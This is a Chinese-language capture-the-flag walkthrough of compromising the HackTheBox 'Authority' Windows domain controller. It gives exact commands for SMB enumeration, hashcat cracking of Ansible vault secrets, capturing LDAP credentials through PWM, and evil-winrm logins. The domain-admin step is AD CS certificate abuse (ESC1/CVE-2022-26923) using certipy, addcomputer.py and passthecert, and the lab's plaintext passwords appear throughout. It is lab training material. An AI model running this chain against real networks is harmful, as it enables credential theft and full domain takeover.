还是先扫一下 这里是推荐fscan和nmap同时扫 这样获取到的信息能多点

image-20231107210225491

image-20231107210430826

1
2
3
4
一共就是80 5985 8433 这个三个端口 其他端口一般是默认就开的
域名 authority.htb
80端口是个IIS服务器
目标机器是个win主机

收集到这些信息后 访问这个80端口的话是啥也没的

image-20231107210816937

然后就从其他方面入手 先尝试一下看看能不能匿名登录smb

1
smbclient -L 10.10.11.222 

image-20231107211019730

只有这两个地方是我们能够访问的

1
2
3
smbclient //10.10.11.222/Department Shares/

smbclient //10.10.11.222/vv/

image-20231107211104961

这里的话就发现只有Development这个共享文件夹能够访问到

image-20231107211201753

开始查看看有哪些东西可以进行利用

image-20231107211329255

这个文件夹名字的话 百度一下就会发现他是个配置管理工具

Ansible是一个开源配置管理工具,可以使用它来自动化任务,部署应用程序实现IT基础架构。Ansible可以用来自动化日常任务,比如,服务器的初始化配置、安全基线配置、更新和打补丁系统,安装软件包等

那么我们就把其下载下来

1
2
3
4
5
recurse on 表明开启循环

prompt off 表明关闭提示询问

mget * 表示下载该目录下的所有文件

然后开始查看这个文件下的目录

image-20231107211754056

跟进这个PWM目录下就会发现 这是一个服务

PWM(Password Management for LDAP Directory Services)可能是一种用于管理密码和凭证的系统,特别是用于与LDAP目录服务(例如OpenLDAP)一起使用。这可以包括密码策略管理、密码重置、自助服务、密码保险柜等功能,以帮助组织更好地管理用户凭证和密码策略。

image-20231107211902199

在这个目录下就会发现存在有些被vault加密过的字符串 然后我们就将其保存下来并爆破他

1
2
3
4
5
6
7
8
9
先保存在1.yml文件中

ansible2john 1.yml > vault1.in
然后转化为可爆破的形式
(这里选哪个字符串结果都是一样的 其实爆破加密字符串的实质都是爆破其外层加密的密码)

然后再使用hashcat进行爆破

hashcat -a 0 -m 16900 --force vault1.in /home/ke1nys/Desktop/rockyou.txt

image-20231107212217521

这里获取到的密码和上面的password啥关系都没 本质上就是加密的密码

我们通过获取到这个加密密码后 我们就可以通过其来进行解密获取到的字符串

1
2
3
4
ansible localhost -m debug -a var="ldap_admin_password" -e "@Ansible/PWM/defaults/main.yml" --vault-password-file=.vault_password

//这里的话是将我们爆破出得到的密码存入到.vault_password中 也就是!@#$%^&*
//还有-e那里必须得写全路径 不然会报错

image-20231107213115052

三个挨个试就行了

1
2
3
4
5
pwm_admin_password:  pWm_@dm!N_!23

"pwm_admin_login": "svc_pwm"

"ldap_admin_password": "DevT3st@123"

试出三个密码后 我们回想到刚刚的那个8443的https端口处

image-20231107213359577

其实在这里的关键就是下面的这两个 将获取到密码输入即可

image-20231107213753121

将这里改为我们的地址 然后并且开启监听 然后点击上面的Test LDAP Profile 来使别的服务来连接我们

image-20231107213957831

这个就是我们获取到的ldap用户的密码

image-20231107214559547

image-20231107214627862

evil-winrm去登录该用户(5985端口开了)

1
evil-winrm -i 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'

image-20231107214744554

尝试提权 步骤应该是先跑sharphound 然后再看whoami /priv 然后再跑certify

这里的话就不跑sharphound了 域内就一个用户

image-20231107215028183

这里话由于是公共靶机 所以才导致这种情况的出现 实际上的话没有可利用权限的

所以这里就尝试跑这个Certify来看看有没有证书模板漏洞

1
certipy-ad find -u 'svc_ldap@authority.htb'  -password 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -vulnerable -stdout

这里的话就两个关键点

image-20231107215453299

image-20231107215359288

这里其实扫出来了这个ESC1 但是直接去搜文章的话是打不了的 这里的话还是用这个CVE-2022–26923这个来打

https://forum.butian.net/share/1578 这篇文章很详细的分析了这个漏洞

先是创建个机器账户

1
python3 addcomputer.py authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name COMPUTER$ -computer-pass 'COMPUTER'

image-20231107215834297

成功添加这个机器账户 说明上面的CVE能打

然后接着去申请这个CornVPN模板证书

1
certipy-ad req -username COMPUTER$ -password 'COMPUTER' -ca AUTHORITY-CA -target authority.htb -template CorpVPN  -upn administrator@authority.htb -debug

image-20231107220001639

申请成功 然后直接auth认证就行了

image-20231107220041342

不出意外的话出意外了

image-20231107220114097

打网鼎半决赛靶机的时候遇到过这个问题 那么我们就换Schannel协议来打

先将.pfx文件转化为.key和.crt文件

1
2
certipy-ad cert -pfx administrator.pfx -nokey -out user.crt
certipy-ad cert -pfx administrator.pfx -nocert -out user.key

然后使用passthecert.py工具来测试是否成功

1
python3 passthecert.py -action whoami -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222

image-20231107220453143

是admin权限 那么我们就直接上ldap_shell

image-20231107220802525

这里之前加过了 所以不能再加了 然后直接再用evil-winrm连接上去就行了

image-20231107220913700

拿下

总结一下 其实最后打域控这里的话没啥奇怪的东西 就是打一个简单的CVE 然后前面的ansible来获取账号密码